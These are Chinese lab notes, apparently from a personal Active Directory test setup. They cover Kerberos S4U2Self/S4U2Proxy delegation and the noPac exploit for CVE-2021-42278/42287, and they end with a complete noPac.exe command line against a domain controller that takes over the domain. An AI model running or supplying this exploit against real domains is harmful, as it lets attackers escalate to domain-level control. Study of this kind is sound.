#S4U2SELF#S4U2Proxy#CVE-2021-42278/42287
#S4U2SELF
Win08创建普通用户
s4u2
@xwj456
可以看到普通用户是没用委托属性的
Win08手动赋予委托服务属性
setspn -A wsw/wsw.com s4u2
Win10身份验证
s4u2
@xwj456
AS请求
两个勾
两个勾和include-pac记得按上（蓝色） ，发包之前把wireshark打开，方便记录和排查
TGS请求
上面四个勾+下面两个勾
#S4U2Proxy
申请其他服务
Win08添加
添加cifs
组策略管理
注意这里是用户s4u2
成功添加
请求之前打开wireshark
AS请求（同上）
第一次TGS请求(同上)
第二次TGS请求
include-pac按掉，S4U2SELF不要勾
最后生成的那个票据重命名proxy，复制到工具里
#CVE-2021-42278/42287
noPac.exe
noPac.exe -domain test.com -user krbuser -pass @xwj123 /dc WIN-8RSOOTMELL5.test.com /mAccount demohb /mPassword @xwj123 /service cifs /ptt（黄色部分每次都要改一改）
